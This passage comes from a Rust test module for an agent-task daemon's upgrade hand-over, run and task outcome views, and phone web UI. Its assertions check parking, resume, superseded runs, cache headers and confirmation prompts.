19727 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
19729 lock_or_recover(&looping).live = Some(Live {
19730 stop: daemon::Stop::new(),
19731 handle: tokio::spawn(async move {
19732 let _ = loop_ended.await;
19733 }),
19734 opts: daemon::Opts::default(),
19735 });
19736
19737 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
19738 let handover = tokio::spawn({
19739 let home = home.path().to_path_buf();
19740 let turns = Arc::clone(&turns);
19741 let calls = Arc::clone(&calls);
19742 async move {
19743 hand_over(
19744 &home,
19745 &looping,
19746 &turns,
19747 &|_: &[String]| Duration::from_secs(60),
19748 served,
19749 move |_| {
19750 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
19751 Ok(1)
19752 },
19753 )
19754 .await
19755 }
19756 });
19757
19758 let reached = async {
19759 for _ in 0..200 {
19760 if crate::updater::read_progress(home.path())
19761 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
19762 {
19763 return;
19764 }
19765 tokio::time::sleep(Duration::from_millis(25)).await;
19766 }
19767 panic!("the hand-over never reached parking");
19768 };
19769 reached.await;
19770
19771 assert!(!turns.lock().unwrap().parking);
19773 let turn = ui
19774 .begin_talk_turn("20260901-000000-chat")
19775 .expect("claim")
19776 .expect("a turn can start while the loop parks");
19777
19778 end_loop.send(()).expect("loop still waiting");
19780 for _ in 0..200 {
19781 if turns.lock().unwrap().parking {
19782 break;
19783 }
19784 tokio::time::sleep(Duration::from_millis(25)).await;
19785 }
19786 assert!(
19787 turns.lock().unwrap().parking,
19788 "closed once the loop is done"
19789 );
19790 let refused = ui.begin_talk_turn("20260901-000000-late").err();
19791 assert!(
19792 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
19793 "no turn starts once the loop is done"
19794 );
19795 assert!(
19796 ui.begin_queued_talk_turn("20260901-000000-late")
19797 .expect("queued claim")
19798 .is_none()
19799 );
19800 assert!(!handover.is_finished());
19801 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
19802
19803 drop(turn);
19804 handover.await.expect("join").expect("hand over");
19805 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
19806 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
19807 }
19808
19809 #[tokio::test]
19812 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
19813 let home = TempDir::new().expect("temp home");
19814 let (ui, looping, turns, served) = park_fixture(&home).await;
19815 let id = "20260901-000000-stuk";
19816 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
19817
19818 let calls = std::sync::atomic::AtomicUsize::new(0);
19819 hand_over(
19820 home.path(),
19821 &looping,
19822 &turns,
19823 &|_: &[String]| Duration::from_millis(300),
19824 served,
19825 |_| {
19826 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
19827 Ok(1)
19828 },
19829 )
19830 .await
19831 .expect("hand over");
19832 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
19833
19834 let progress = crate::updater::read_progress(home.path()).expect("progress");
19835 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
19836 assert!(
19837 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
19838 "{:?}",
19839 progress.detail
19840 );
19841 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
19842 assert!(
19843 log.contains("handing over anyway") && log.contains(id),
19844 "{log}"
19845 );
19846 }
19847
19848 #[tokio::test]
19851 async fn drain_loop_starts_no_turn_while_parking() {
19852 let tmp = TempDir::new().expect("tempdir");
19853 let repo = tmp.path().join("repo");
19854 std::fs::create_dir_all(&repo).expect("repo dir");
19855 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
19856 let home = TempDir::new().expect("temp home");
19857 let talks = Talks::at(home.path().join("talks"));
19858 let ui = Ui::new(
19859 Queue::at(home.path().join("queue")),
19860 Questions::at(home.path().join("questions")),
19861 talks.clone(),
19862 home.path().join("runs"),
19863 home.path().to_path_buf(),
19864 repo.clone(),
19865 )
19866 .with_worktrees_root(home.path().join("wt"));
19867 let cfg = config_for(&repo).await.expect("discover config");
19868 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
19869 let id = talk.id.clone();
19870 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
19871 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
19872 let turns = ui.turns();
19873 let parking = ParkingTurns::begin(&turns);
19874
19875 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
19876
19877 assert!(
19878 turns.lock().unwrap().live.is_empty(),
19879 "the slot is given up"
19880 );
19881 let fresh = talks.get(&id).expect("talk");
19882 assert_eq!(fresh.pending, "later", "the draft is still queued");
19883 assert!(fresh.turns.is_empty(), "no turn ran");
19884 drop(parking);
19885 }
19886
19887 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
19889 let looping = ui.looping();
19890 let turns = ui.turns();
19891 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
19892 .await
19893 .expect("bind loopback");
19894 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
19895 let told = std::sync::Mutex::new(None);
19896 hand_over(
19897 home.path(),
19898 &looping,
19899 &turns,
19900 &|_: &[String]| Duration::from_secs(5),
19901 served,
19902 |resume| {
19903 *told.lock().unwrap() = Some(resume);
19904 Ok(1)
19905 },
19906 )
19907 .await
19908 .expect("hand over");
19909 told.into_inner().unwrap().expect("successor was started")
19910 }
19911
19912 #[tokio::test]
19913 async fn a_running_loop_is_resumed_by_the_successor() {
19914 let home = TempDir::new().expect("temp home");
19915 let ui = idle_ui(&home);
19916 ui.start_loop(None).expect("start");
19917 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
19918 for _ in 0..500 {
19920 if !ui.loop_view(None).running {
19921 break;
19922 }
19923 tokio::time::sleep(Duration::from_millis(2)).await;
19924 }
19925 assert!(handed_over(&home, ui).await, "a running loop must resume");
19926
19927 let successor = idle_ui(&home);
19928 assert!(!successor.loop_view(None).running);
19929 assert!(successor.resume_after_handover(true));
19930 assert!(successor.loop_view(None).running);
19931 successor.stop_loop(None, false).expect("stop");
19932 }
19933
19934 #[tokio::test]
19935 async fn a_second_upgrade_request_keeps_the_resume_intent() {
19936 let home = TempDir::new().expect("temp home");
19937 let ui = idle_ui(&home);
19938 ui.start_loop(None).expect("start");
19939 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
19940 .expect("first park");
19941 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
19942 .expect("second park");
19943 assert!(handed_over(&home, ui).await);
19944 }
19945
19946 #[tokio::test]
19947 async fn a_stop_during_the_handover_wait_is_honoured() {
19948 let home = TempDir::new().expect("temp home");
19949 let ui = idle_ui(&home);
19950 ui.start_loop(None).expect("start");
19951 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
19952 ui.stop_loop(None, false).expect("stop");
19953 assert!(!handed_over(&home, ui).await);
19954 }
19955
19956 #[tokio::test]
19957 async fn an_idle_loop_stays_stopped_across_the_handover() {
19958 let home = TempDir::new().expect("temp home");
19959 let ui = idle_ui(&home);
19960 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
19961 assert!(!handed_over(&home, ui).await);
19962
19963 let successor = idle_ui(&home);
19964 assert!(!successor.resume_after_handover(false));
19965 assert!(!successor.loop_view(None).running);
19966 }
19967
19968 #[tokio::test]
19969 async fn a_loop_the_operator_stopped_is_not_resumed() {
19970 let home = TempDir::new().expect("temp home");
19971 let ui = idle_ui(&home);
19972 ui.start_loop(None).expect("start");
19973 ui.stop_loop(None, false).expect("stop");
19974 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
19975 assert!(!handed_over(&home, ui).await);
19976 }
19977
19978 #[test]
19979 fn only_an_explicit_one_requests_a_resume() {
19980 assert!(!resume_requested(None));
19981 assert!(!resume_requested(Some("0".into())));
19982 assert!(!resume_requested(Some("".into())));
19983 assert!(resume_requested(Some("1".into())));
19984 }
19985
19986 #[test]
19987 fn the_upgrade_button_arms_before_it_restarts_anything() {
19988 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
19991 assert!(APP_JS.contains("Replace the binary and restart?"));
19992 assert!(APP_JS.contains("function confirmed("));
19993 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
19998 assert!(
20002 APP_JS.contains("Parking, then restarting"),
20003 "the button says what it is waiting for"
20004 );
20005 assert!(APP_JS.contains("if (!out.to)"));
20008 }
20009
20010 #[test]
20011 fn stopping_the_loop_arms_but_starting_does_not() {
20012 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
20015 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
20016 assert!(APP_JS.contains("confirmed(button, question)"));
20017 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
20020 assert!(APP_JS.contains("const label = btn.textContent;"));
20021 assert!(!APP_JS.contains("Neither direction is guarded"));
20022 }
20023
20024 #[test]
20025 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
20026 assert!(
20027 APP_JS.contains("state.health.version"),
20028 "the operator wants to know what is running even with nothing newer"
20029 );
20030 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
20031 }
20032
20033 #[test]
20034 fn the_upgrade_button_names_its_destination() {
20035 assert!(
20036 APP_JS.contains("`Update to ${update.to}`"),
20037 "pressing the button should not be a surprise about what it moves to"
20038 );
20039 }
20040
20041 #[test]
20042 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
20043 for stage in ["downloading", "replaced", "parking", "restarting"] {
20044 assert!(
20045 APP_JS.contains(&format!("\"{stage}\"")),
20046 "the phone must be able to tell {stage} apart from the others"
20047 );
20048 }
20049 assert!(APP_JS.contains(".waiting_on"));
20050 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
20055 assert!(APP_JS.contains("reconnects on its own"));
20056 }
20057
20058 #[test]
20059 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
20060 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
20069 ..APP_JS.find("function upgrade(").expect("upgrade")];
20070 assert!(
20071 !body.contains(
20072 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
20073 ),
20074 "a failed upgrade must not take the whole strip over the way it used to"
20075 );
20076 assert!(
20077 body.contains("upgradeFailNote"),
20078 "the failure has to reach the loop's own note instead"
20079 );
20080 assert_eq!(
20084 body.matches("upgradeFailNote].filter(Boolean).join")
20085 .count(),
20086 2,
20087 "both loop-why writers (quiet and control) must fold the note in"
20088 );
20089 }
20090
20091 #[test]
20092 fn an_overdue_upgrade_eventually_asks_for_a_human() {
20093 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
20096 assert!(APP_JS.contains("function upgradeOverdue("));
20097 }
20098
20099 #[test]
20100 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
20101 assert!(
20102 APP_JS.contains("Updated to ${upgradeInfo.to"),
20103 "the operator who asked for the restart wants to know it worked"
20104 );
20105 }
20106
20107 #[test]
20108 fn an_error_is_visible_from_where_the_button_is() {
20109 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
20114 ..APP_CSS.find(".alert-text").expect(".alert-text")];
20115 assert!(
20116 alert.contains("position: fixed"),
20117 "an error about the thing under your thumb has to be visible from \
20118 where your thumb is: {alert}"
20119 );
20120 assert!(
20121 alert.contains("z-index: 25"),
20122 "above the dock (20) and the run-actions FAB (15), so neither \
20123 buries it: {alert}"
20124 );
20125 assert!(
20126 alert.contains("var(--tap)"),
20127 "and clear of the dock and the home indicator: {alert}"
20128 );
20129 assert!(
20132 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
20133 "the FAB's column stays free: {alert}"
20134 );
20135 }
20136
20137 #[tokio::test]
20138 async fn an_older_attempt_says_what_replaced_it() {
20139 let fx = Fixture::start().await;
20140 let q = fx.queue();
20141 let runs = fx.runs();
20142 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
20143 write_run(&runs, first, RunStatus::Stalled);
20144 write_run(&runs, second, RunStatus::Blocked);
20145
20146 let mut t = Task::new(
20147 "one task".to_owned(),
20148 "do it".to_owned(),
20149 PathBuf::from("/repo"),
20150 Source::Human,
20151 );
20152 t.runs = vec![first.to_owned(), second.to_owned()];
20153 q.put(&mut t).expect("put");
20154
20155 let rows = fx.get("/api/runs").await.json();
20159 let by = |short: &str| -> Value {
20160 rows.as_array()
20161 .unwrap()
20162 .iter()
20163 .find(|r| r["short"] == short)
20164 .cloned()
20165 .unwrap_or(Value::Null)
20166 };
20167 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
20168 assert!(
20169 by("bbbb")["superseded_by"].is_null(),
20170 "the latest attempt is not superseded by anything"
20171 );
20172 assert!(APP_JS.contains("run.superseded_by"));
20174 assert!(APP_JS.contains("Superseded by"));
20175 }
20176
20177 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
20178 let mut t = Task::new(
20179 "one task".to_owned(),
20180 "do it".to_owned(),
20181 PathBuf::from("/repo"),
20182 Source::Human,
20183 );
20184 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
20185 t.status = status;
20186 t
20187 }
20188
20189 #[test]
20190 fn source_link_picks_the_page_that_filed_the_task() {
20191 let agent = |node: &str| Source::Agent {
20192 run: "20260904-014455-ab12".to_owned(),
20193 node: node.to_owned(),
20194 };
20195 let chat = source_link(&agent("chat")).expect("chat link");
20196 assert_eq!(chat.kind, "chat");
20197 assert_eq!(chat.id, "20260904-014455-ab12");
20198 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
20199 let run = source_link(&agent("implement")).expect("run link");
20200 assert_eq!(
20201 (run.kind, run.href.as_str()),
20202 ("run", "#/runs/20260904-014455-ab12")
20203 );
20204 assert_eq!(source_link(&Source::Human), None);
20205 assert_eq!(
20206 source_link(&Source::Issue {
20207 number: 3,
20208 repo: "o/r".to_owned()
20209 }),
20210 None
20211 );
20212 let odd = source_link(&Source::Agent {
20213 run: "a b/c".to_owned(),
20214 node: "chat".to_owned(),
20215 })
20216 .expect("link");
20217 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
20218 }
20219
20220 #[test]
20221 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
20222 assert!(
20223 !APP_JS.contains("src.node === \"chat\""),
20224 "inline href rule is back"
20225 );
20226 assert!(
20227 APP_JS.matches("sourceLinkOf(").count() >= 4,
20228 "helper must serve every page"
20229 );
20230 assert!(
20231 APP_JS.matches("openChatLink(").count() >= 3,
20232 "the run page still needs its explicit chat link"
20233 );
20234 assert!(
20235 !APP_JS.contains("const openChat = el("),
20236 "the Queue card duplicates its source label link again"
20237 );
20238 assert!(
20239 APP_JS.contains("metaKids.push(link ? el(\"a\""),
20240 "the task page must link a chat source label too"
20241 );
20242 }
20243
20244 #[test]
20245 fn task_ref_carries_the_source_link_for_a_chat_task() {
20246 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
20247 t.source = Source::Agent {
20248 run: "20260904-014455-ab12".to_owned(),
20249 node: "chat".to_owned(),
20250 };
20251 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
20252 let v = serde_json::to_value(&out).expect("json");
20253 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
20254 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
20255 assert_eq!(v["source_label"], t.source.label());
20256
20257 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
20258 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
20259 .expect("json");
20260 assert!(v["source_link"].is_null(), "{v}");
20261 }
20262
20263 #[test]
20264 fn task_view_serializes_source_link() {
20265 let mut t = Task::new(
20266 "t".to_owned(),
20267 "t".to_owned(),
20268 PathBuf::from("/repo"),
20269 Source::Agent {
20270 run: "20260901-000000-aaaa".to_owned(),
20271 node: "implement".to_owned(),
20272 },
20273 );
20274 t.runs.clear();
20275 let v = serde_json::to_value(TaskView::from(t)).expect("json");
20276 assert_eq!(v["source_link"]["kind"], "run", "{v}");
20277 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
20278 }
20279
20280 #[test]
20281 fn task_view_serializes_urgent_flag() {
20282 let mut t = Task::new(
20283 "t".to_owned(),
20284 "t".to_owned(),
20285 PathBuf::from("/repo"),
20286 Source::Human,
20287 );
20288 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
20289 assert_eq!(v["urgent"], false, "{v}");
20290 t.urgent = true;
20291 let v = serde_json::to_value(TaskView::from(t)).expect("json");
20292 assert_eq!(v["urgent"], true, "{v}");
20293 assert!(APP_JS.contains("task.urgent === true"));
20294 }
20295
20296 #[tokio::test]
20297 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
20298 let fx = Fixture::start().await;
20299 let runs = fx.runs();
20300 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
20301 write_run(&runs, old, RunStatus::Blocked);
20302 write_run(&runs, new, RunStatus::Merged);
20303 let mut t = outcome_task(&[old, new], TaskStatus::Done);
20304 fx.queue().put(&mut t).expect("put");
20305
20306 let view = fx.get(&format!("/api/runs/{old}")).await.json();
20307 let task = &view["task"];
20308 assert_eq!(task["status"], "done");
20309 assert_eq!(task["is_latest"], false);
20310 assert_eq!(task["latest"]["short"], "bbbb");
20311 assert_eq!(task["finished_by"]["id"], new);
20312 assert_eq!(task["finished_by"]["outcome"], "merged");
20313 assert_eq!(task["closed_by_hand"], false);
20314 assert_eq!(view["status"], "blocked", "the run keeps its own status");
20315 assert!(APP_JS.contains("finished_by"));
20316 assert!(APP_JS.contains("superseded by run"));
20317 }
20318
20319 #[tokio::test]
20320 async fn the_latest_run_reports_a_held_task_without_a_successor() {
20321 let fx = Fixture::start().await;
20322 let runs = fx.runs();
20323 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
20324 write_run(&runs, old, RunStatus::Stalled);
20325 write_run(&runs, new, RunStatus::Blocked);
20326 let mut t = outcome_task(&[old, new], TaskStatus::Held);
20327 fx.queue().put(&mut t).expect("put");
20328
20329 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
20330 assert_eq!(task["status"], "held");
20331 assert_eq!(task["is_latest"], true);
20332 assert!(task["latest"].is_null());
20333 assert!(task["finished_by"].is_null());
20334 assert_eq!(task["closed_by_hand"], false);
20335 }
20336
20337 #[tokio::test]
20338 async fn a_direct_run_has_no_task_outcome() {
20339 let fx = Fixture::start().await;
20340 let runs = fx.runs();
20341 let id = "20260901-000000-aaaa";
20342 write_run(&runs, id, RunStatus::Blocked);
20343 let view = fx.get(&format!("/api/runs/{id}")).await.json();
20344 assert!(view["task"].is_null());
20345 }
20346
20347 #[test]
20348 fn task_outcome_does_not_guess_a_finishing_run() {
20349 let a = "20260901-000000-aaaa";
20350 let b = "20260901-000000-bbbb";
20351 let c = "20260901-000000-cccc";
20352 let dir = tempfile::tempdir().expect("tempdir");
20353 write_run(dir.path(), a, RunStatus::Blocked);
20354 write_run(dir.path(), b, RunStatus::VerifiedNoop);
20355 let read = |id: &str| read_run(dir.path(), id).ok();
20357 let t = outcome_task(&[a, b, c], TaskStatus::Done);
20360 let out = task_outcome(&t, a, 3, read);
20361 assert!(out.finished_by.is_none());
20362 assert!(out.closed_by_hand);
20363 let latest = out.latest.expect("latest");
20364 assert_eq!(latest.id, c);
20365 assert_eq!(latest.status, None);
20366 assert_eq!(latest.outcome, "record unreadable");
20367
20368 write_run(dir.path(), c, RunStatus::Ready);
20370 let t = outcome_task(&[a, c], TaskStatus::Done);
20371 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
20372 assert_eq!(out.finished_by.expect("finisher").id, c);
20373 assert!(!out.closed_by_hand);
20374
20375 let t = outcome_task(&[a, b, a], TaskStatus::Held);
20377 assert!(task_outcome(&t, a, 3, read).is_latest);
20378 }
20379
20380 #[tokio::test]
20381 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
20382 let fx = Fixture::start().await;
20387 let q = fx.queue();
20388 let runs = fx.runs();
20389 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
20390 write_run(&runs, first, RunStatus::Blocked);
20391 write_run(&runs, second, RunStatus::Merged);
20392
20393 let mut t = Task::new(
20394 "one task".to_owned(),
20395 "do it".to_owned(),
20396 PathBuf::from("/repo"),
20397 Source::Human,
20398 );
20399 t.runs = vec![first.to_owned(), second.to_owned()];
20400 q.put(&mut t).expect("put");
20401
20402 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
20403 assert_eq!(earlier["superseded_by"], "dddd");
20404 assert_eq!(earlier["latest_attempt"]["id"], second);
20405 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
20406 assert_eq!(
20407 earlier["latest_attempt"]["resolved"], true,
20408 "the run that replaced it landed, so this one reads as settled"
20409 );
20410
20411 let later = fx.get(&format!("/api/runs/{second}")).await.json();
20412 assert!(
20413 later["superseded_by"].is_null(),
20414 "the latest attempt is not superseded by anything"
20415 );
20416 assert!(
20417 later["latest_attempt"].is_null(),
20418 "the latest attempt has no later attempt of its own"
20419 );
20420
20421 assert!(APP_JS.contains("run.latest_attempt"));
20428 assert!(APP_JS.contains("data-superseded"));
20429 assert!(APP_JS.contains("#/runs/${latest.id}"));
20430 }
20431
20432 #[tokio::test]
20433 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
20434 let fx = Fixture::start().await;
20440 let q = fx.queue();
20441 let runs = fx.runs();
20442 let (a, b, c) = (
20443 "20260901-000000-aaaa",
20444 "20260901-000000-bbbb",
20445 "20260901-000000-cccc",
20446 );
20447 write_run(&runs, a, RunStatus::Blocked);
20448 write_run(&runs, b, RunStatus::Blocked);
20449 write_run(&runs, c, RunStatus::Merged);
20450
20451 let mut t = Task::new(
20452 "retried twice".to_owned(),
20453 "do it".to_owned(),
20454 PathBuf::from("/repo"),
20455 Source::Human,
20456 );
20457 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
20458 q.put(&mut t).expect("put");
20459
20460 let view = fx.get(&format!("/api/runs/{a}")).await.json();
20461 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
20462 assert_eq!(
20463 view["latest_attempt"]["id"], c,
20464 "the chain's current head, not the intermediate Blocked retry"
20465 );
20466 assert_eq!(view["latest_attempt"]["resolved"], true);
20467
20468 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
20469 assert_eq!(mid["latest_attempt"]["id"], c);
20470 assert_eq!(mid["latest_attempt"]["resolved"], true);
20471 }
20472
20473 #[tokio::test]
20474 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
20475 let fx = Fixture::start().await;
20476 let q = fx.queue();
20477 let runs = fx.runs();
20478
20479 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
20482 write_run(&runs, still_blocked_a, RunStatus::Blocked);
20483 write_run(&runs, still_blocked_b, RunStatus::Blocked);
20484 let mut t1 = Task::new(
20485 "still stuck".to_owned(),
20486 "do it".to_owned(),
20487 PathBuf::from("/repo"),
20488 Source::Human,
20489 );
20490 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
20491 q.put(&mut t1).expect("put");
20492 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
20493 assert_eq!(view1["latest_attempt"]["resolved"], false);
20494 assert_eq!(view1["latest_attempt"]["status"], "blocked");
20495 assert_eq!(view1["latest_attempt"]["done"], true);
20496
20497 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
20499 write_run(&runs, run_a, RunStatus::Blocked);
20500 write_run(&runs, run_b, RunStatus::Implementing);
20501 let mut t3 = Task::new(
20502 "retrying".to_owned(),
20503 "do it".to_owned(),
20504 PathBuf::from("/repo"),
20505 Source::Human,
20506 );
20507 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
20508 q.put(&mut t3).expect("put");
20509 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
20510 assert_eq!(view3["latest_attempt"]["id"], run_b);
20511 assert_eq!(view3["latest_attempt"]["resolved"], false);
20512 assert_eq!(view3["latest_attempt"]["done"], false);
20513
20514 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
20519 write_run(&runs, noop_a, RunStatus::Blocked);
20520 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
20521 let mut t2 = Task::new(
20522 "claims done".to_owned(),
20523 "do it".to_owned(),
20524 PathBuf::from("/repo"),
20525 Source::Human,
20526 );
20527 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
20528 q.put(&mut t2).expect("put");
20529 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
20530 assert_eq!(
20531 view2["latest_attempt"]["resolved"], false,
20532 "an unverified no-op claim must not read as a confirmed finish"
20533 );
20534
20535 assert!(APP_JS.contains("latest.resolved"));
20538 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
20541 assert!(APP_JS.contains("Latest attempt: "));
20542 assert!(APP_JS.contains("in flight"));
20543 assert!(APP_JS.contains("not resolved"));
20544 }
20545
20546 #[tokio::test]
20547 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
20548 let fx = Fixture::start().await;
20549 let js = fx.get("/app.js").await;
20555 assert_eq!(js.status, 200);
20556 let tag = js
20557 .header("etag")
20558 .expect("an etag to revalidate against")
20559 .to_owned();
20560 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
20561 assert_eq!(
20562 js.header("cache-control"),
20563 Some("no-cache, must-revalidate"),
20564 "the phone has to ask every time"
20565 );
20566
20567 let again = fx
20570 .get_with("/app.js", &[("if-none-match", tag.as_str())])
20571 .await;
20572 assert_eq!(
20573 again.status, 304,
20574 "a deck it already has costs one round trip"
20575 );
20576 assert!(again.body.is_empty(), "304 carries no body");
20577
20578 let weak = fx
20581 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
20582 .await;
20583 assert_eq!(weak.status, 304);
20584 let stale = fx
20585 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
20586 .await;
20587 assert_eq!(stale.status, 200, "an older build must be replaced");
20588 assert!(stale.body.contains("renderRunActions"));
20589 }
20590
20591 #[test]
20592 fn the_task_detail_has_an_actions_fab_and_sheet() {
20593 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
20594 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
20595 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
20596 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
20598 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
20599 assert!(APP_JS.contains("renderTaskActions(task);"));
20601 assert!(APP_JS.contains("renderTaskActions(null);"));
20602 let sheet = APP_JS
20604 .find("function renderTaskActions")
20605 .expect("sheet renderer");
20606 let body = &APP_JS[sheet..sheet + 3000];
20607 assert!(body.contains("changePriority("));
20608 assert!(body.contains("openTaskEdit(task)"));
20609 assert!(body.contains("renderTaskHoldBox(host"));
20610 assert!(body.contains("renderTaskDoneBox(host"));
20611 assert!(body.contains("renderTaskDeleteBox(host"));
20612 assert!(APP_JS.contains("API.priority(id)"));
20613 assert!(APP_JS.contains("API.deleteTask(id)"));
20614 assert!(APP_JS.contains("location.hash = \"#/queue\""));
20616 assert!(APP_JS.contains("$(\"task-actions-error\")"));
20618 }
20619
20620 #[test]
20621 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
20622 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
20623 let actions = INDEX_HTML
20624 .find("id=\"run-actions-box\"")
20625 .expect("actions box");
20626 assert!(task < actions, "the task entry comes first in the sheet");
20627 assert!(APP_JS.contains("renderRunTaskEntry"));
20628 assert!(APP_JS.contains("\"Open task \""));
20629 assert!(APP_JS.contains("started directly, no task"));
20631 assert!(APP_JS.contains("sheet-task-link"));
20632 assert!(APP_JS.contains("task-chip-link"));
20633 }
20634
20635 #[test]
20636 fn the_deck_never_sends_the_operator_to_a_terminal() {
20637 assert!(
20640 !APP_JS.contains("Run `magi fold` first"),
20641 "the deck must offer the fold, not prescribe a shell command"
20642 );
20643 assert!(APP_JS.contains("foldRun:"));
20644 assert!(APP_JS.contains("resumeRun:"));
20645 assert!(APP_JS.contains("renderRunActions"));
20646
20647 assert!(APP_JS.contains("armedFold"));
20649 assert!(APP_JS.contains("Yes, fold worktrees"));
20650
20651 assert!(APP_JS.contains("can no longer be resumed"));
20654 }
20655
20656 #[test]
20657 fn a_finished_run_explains_itself_with_its_own_last_line() {
20658 assert!(
20664 !APP_JS.contains("collapsed on agent quota"),
20665 "a stall must not be explained by a cause the deck did not check"
20666 );
20667 assert!(
20668 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
20669 "and a block must not offer a guess with an `or` in it"
20670 );
20671
20672 assert!(
20676 APP_JS.contains("setText(r.event, run.event || \"\")"),
20677 "the run's last line is rendered unconditionally"
20678 );
20679 assert!(
20680 !APP_JS.contains("moving && run.event"),
20681 "and never gated on the run still moving"
20682 );
20683
20684 assert!(APP_JS.contains("lost to quota"));
20686 }
20687
20688 #[test]
20710 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
20711 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
20712 let shapes_body_start =
20713 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
